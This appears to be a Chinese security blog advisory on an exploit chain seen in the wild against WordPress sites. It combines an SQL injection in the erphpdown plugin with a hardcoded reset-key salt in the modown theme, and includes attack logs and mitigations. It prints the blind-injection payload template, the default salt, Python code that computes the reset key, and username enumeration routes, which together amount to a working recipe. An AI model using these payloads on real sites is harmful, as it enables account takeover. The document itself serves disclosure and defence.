本文分析了某WordPress付费插件erphpdown存在的SQL注入漏洞与modown主题密码重置逻辑缺陷的组合利用链,攻击者可通过注入读取user_activation_key并结合硬编码盐离线计算重置key,从而重置管理员密码完全接管站点,文章还披露了2026-10-31的在野攻击日志与完整复现流程。


一、摘要
|
|
|
|---|---|
|
|
严重(Critical) |
|
|
|
|
|
|
|
|
user_activation_key → 本地离线算出重置 key → 通过重置页改密 |
|
|
|
2026-10-31,多个来源 IP 对该站反复执行密码重置,并复用了同一个重置 key。日志显示攻击者全程使用 curl 直连,路径高度固定:GET /wp-login.php 触发找回 → GET /login?action=reset_password&key=...&login=admin 拿到有效重置表单 → POST /wp-login.php 改密。
攻击链一句话:用 epd_r64 注入把数据库里 wp_users.user_activation_key 读出来,再按 modown 的公式 md5(盐 + key) 本地算出重置链接 key,就能合法走通重置密码流程。
二、攻击链全貌

两个关键事实:
-
1. key 可读: user_activation_key存在wp_users表,且 erphpdown 插件存在可注入点,任何登录用户都能把它读出来。 -
2. key 可算:modown 重置校验用的是 md5(硬编码盐 + key),盐是公开常量,攻击者离线即可算出合法重置 key。
2.1 获取管理员用户名的方式(攻击前置)
第 2 步"触发找回密码"是匿名开放接口,但要让系统为目标账号生成重置 key,必须先确定管理员用户名(或邮箱)。获取方式不限于默认 admin,常见手段如下:
|
|
|
|
|
|---|---|---|---|
|
|
admin |
|
|
|
|
GET /?author=1
|
|
?author=N 遍历可枚举全部注册用户 |
|
|
GET /wp-json/wp/v2/users |
|
|
|
|
lostpassword
|
|
|
|
|
|
|
lostpassword
user_email,等价于用户名输入 |
|
|
SELECT user_login FROM wp_users |
|
|
路径说明:方式 ①②③④⑤ 仅需匿名访问即可完成;方式 ⑥ 依赖注入可用。任一路径拿到用户名后进入第 2 步,后续与上文攻击链一致:lostpassword/modown 写入新 key → 注入读出 → 离线算 reset_key → 重置页改密 → 接管。用户名本身不是利用的门槛,真正的门槛是注入是否可用。
三、漏洞审计
3.1 漏洞 1:erphpdown epd_r64 SQL 注入
文件:wp-content/plugins/erphpdown/includes/pay.erphp.php
入口函数 _epd_r64()(L420-427,挂 init,任意页面可触发):
add_filter('init', '_epd_r64', 10);function _epd_r64(){ if(isset($_GET['epd_r64']) && $_GET['epd_r64']){ ... global $wpdb; $epd_v64 = base64_decode($_GET['epd_r64']); // ① 无过滤解码 $epd_v64_arr = explode('-', $epd_v64); // ② 按"-"切3段 if(is_array($epd_v64_arr) && count($epd_v64_arr) == 3){ $method = $epd_v64_arr[0]; // ③ 第1段=支付方式=用户可控 $price = $epd_v64_arr[1]; if(time()-$epd_v64_arr[2] > 60*30){ // ④ 第3段须为当前时间戳(30分钟内) wp_die("链接已过期!"); } ... $epd_order = _epd_create_page_order($method, 'r', $price); // ⑤ $method 直接传入
SQL 拼接点(L407-408):
$sql="INSERT INTO $wpdb->icemoney (...,ice_alipay,...) VALUES (...,'$payment',...)"; // $payment = $method,未转义$a=$wpdb->query($sql);
成因:
-
• base64_decode后没有任何转义 / 过滤; -
• 第 1 段 $method原样传入_epd_create_page_order(),最终未转义拼接进 INSERT; -
• 攻击者用 x',IF((条件),SLEEP(2),1),3,4)#闭合引号、替换列值、#注释尾部,构成时间盲注。
触发模板(第 3 段时间戳必须实时生成):
epd_r64 = base64("x',IF((条件),SLEEP(2),1),3,4)#-10-<当前unix时间戳>")GET /?epd_r64=<URL编码后的base64>&ice_type=1
登录检查:_epd_create_page_order() 内有两次 "请先登录" 拦截(L27 无 post/type/ 未登录;L239 VIP 分支未开且未登录)。匿名请求会被 500 拦截,必须携带任意已登录用户的 Cookie 才能到达注入点(本次复现已验证)。
3.2 漏洞 2:modown 主题密码重置逻辑缺陷
文件:wp-content/themes/modown/action/login.php
生成 key(L199-205,action=password):向 wp_users.user_activation_key 写入随机 key,同时发找回邮件。
校验并改密(L220-249,action=reset):
// 校验:md5($md5_str . user_activation_key) == 传入的 reset_keyif(md5($md5_str.$user_data->user_activation_key) == $reset_key){ wp_set_password($new_password, $user_id); // 直接改密}
关键缺陷:
-
• 盐 $md5_str默认硬编码M2O7B4A8N5T9U0(后台选项login_password_key可覆盖,但多数站点未设置); -
• 重置 key 公式公开可算: 重置key = md5(SALT + user_activation_key); -
• 只要攻击者能拿到 user_activation_key,就能离线构造合法重置链接。
3.3 组合利用关系
|
|
|
|
|---|---|---|
|
|
|
user_activation_key |
|
|
epd_r64 注入(时间盲注) |
user_activation_key |
|
|
md5(SALT+key) |
|
|
|
GET /login?action=reset_password&key=...&login=admin |
|
|
|
POST action=reset
|
|
四、攻击流程时间线(日志证据)
来源:全量日志 597 万条(example.com.log.tar.gz),攻击行为集中于 2026-10-31。
15:14 221.216.116.71 探测 epd_r64 注入点(information_schema 试探,多行子查询报错500)17:17 114.254.2.211 POST /wp-content/themes/modown/action/login.php(触发找回密码)21:19 39.144.79.232 带登录Cookie的盲注序列(IF(1=2) → 200 0B,时间盲注提取)21:39 223.104.42.163 GET /login?action=reset_password&key=24998d4d6d2bb4aa2c5092d1754e4f3c&login=admin → 200 3265B(有效重置表单)21:39 223.104.42.163 POST /wp-login.php → 200 12096B(登录成功)
关键事实:
-
• 多个 IP(223.104.42.163/153、221.216.116.71、39.144.79.232、114.254.2.211、220.205.248.15、203.114.90.19)共用同一重置 key 24998d4d6d2bb4ba2c5092d1754e4f3c反复改密,说明攻击脚本共享、key 已公开流转; -
• 重置页有效 / 无效可区分(真实 key → 200/3251B 含【设置新密码】表单;伪造 / 空 key → 200/2069B 无效),主题确实执行 md5(盐+user_activation_key)比对。
五、复现方式(已验证)
5.1 前置条件
-
1. 站点存在未升级的 erphpdown 插件( pay.erphp.php含 407 行未转义拼接); -
2. 注册任意普通用户并登录,取得 Cookie( wordpress_logged_in_*、PHPSESSID)—— 注入点要求登录态; -
3. 目标: wp_users.ID=1(管理员 admin)。
5.2 注入点自检
IF((1=1),SLEEP(2),1) → 响应 ~2s(慢)IF((1=2),SLEEP(2),1) → 响应 <1s(快)
慢 / 快差异 = 注入存在。
5.3 盲注提取(脚本 epd_r64_blind_extract.py)
python epd_r64_blind_extract.py ` --cookie "wordpress_logged_in_xxx=值; PHPSESSID=值" ` --where "ID=1" --length 64
脚本特性:
-
• 时间戳每次请求实时生成(满足 30 分钟窗口); -
• 自动 base64 + URL 编码; -
• 注入点自检( --no-probe可跳过); -
• 二分提取 ASCII 32-126,逐字符 / 逐字段; -
• 表 / 字段 / WHERE 全参数化,可提任意内容。
5.4 离线算重置 key
import hashlibSALT = "M2O7B4A8N5T9U0" # 后台未设 login_password_key 时为默认盐key = "<提取出的 user_activation_key>"reset_key = hashlib.md5((SALT + key).encode()).hexdigest()print(reset_key)
5.5 验证(只到 "验证" 为止,不含改密)
GET /login?action=reset_password&key=<reset_key>&login=admin→ 返回 200/3251B 且含【设置新密码】表单 = key 有效,攻击者视角的"合法重置链接"达成
复现脚本不包含实际提交新密码(POST action=reset),避免审计过程真正改密;日志攻击者最后一步为 POST 改密 + 登录。
六、调用关系

URL参数链:epd_r64 → base64_decode → explode('-')[:3] → [0]$method → _epd_create_page_order($method,'r',$price) → INSERT INTO {$wpdb->icemoney} VALUES(...,'$payment',...) → $wpdb->query($sql)
七、缓解方案(按优先级)
|
|
|
|
|---|---|---|
|
|
能停用就停用 |
|
|
|
后台设置 login_password_key 为随机长字符串 |
|
|
|
epd_r64 |
nginx_rules.conf(加固版):epd_r64/author= 枚举/xmlrpc/modown action 目录拦截、`action=reset_password |
|
|
封堵主题前台接口 | /wp-content/themes/modown/action/
/login?action=reset_password 限流 |
|
|
全量轮换密码 |
cleanup.sql 加固版);清空 wp_users.user_activation_key(本次攻击载体)与 _password_reset_key、踢会话、清注入污染行 |
|
|
登录加固 |
wp-login 限流;改后台登录路径 |
|
|
数据库最小权限 |
wp-config.php 权限 600 |
|
|
监控告警 |
epd_r64、action=reset_password、action=password、?author=;宝塔 WAF 规则同步 |
|
|
禁用高危 PHP 函数 | eval/system/exec/shell_exec/passthru/proc_open/popen
|
|
|
定期备份与演练 |
|
代码级修复示例(插件升级前临时补丁)
// pay.erphp.php L407 原:$sql="INSERT INTO $wpdb->icemoney (...,ice_alipay,...) VALUES (...,'$payment',...)";// 改为参数化:$wpdb->query($wpdb->prepare( "INSERT INTO $wpdb->icemoney (...,ice_alipay,...) VALUES (...,%s,...)", $payment));// 或最小改动:$payment = esc_sql($payment);
八、交付物清单
|
|
|
|---|---|
epd_r64_blind_extract.py(不提供防止被扩大利用) |
|
modown_reset_exploit.py(不提供防止扩大利用) |
|
nginx_rules.conf |
|
cleanup.sql |
|
加固方案,我放到这里了:https://pan.xunlei.com/s/VP5M-xWDrUJRlzI3vHvSo1wgA1?pwd=47tw#
原文始发于微信公众号(七夜安全博客):某WordPress付费插件严重漏洞在野攻击分析以及漏洞复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-



评论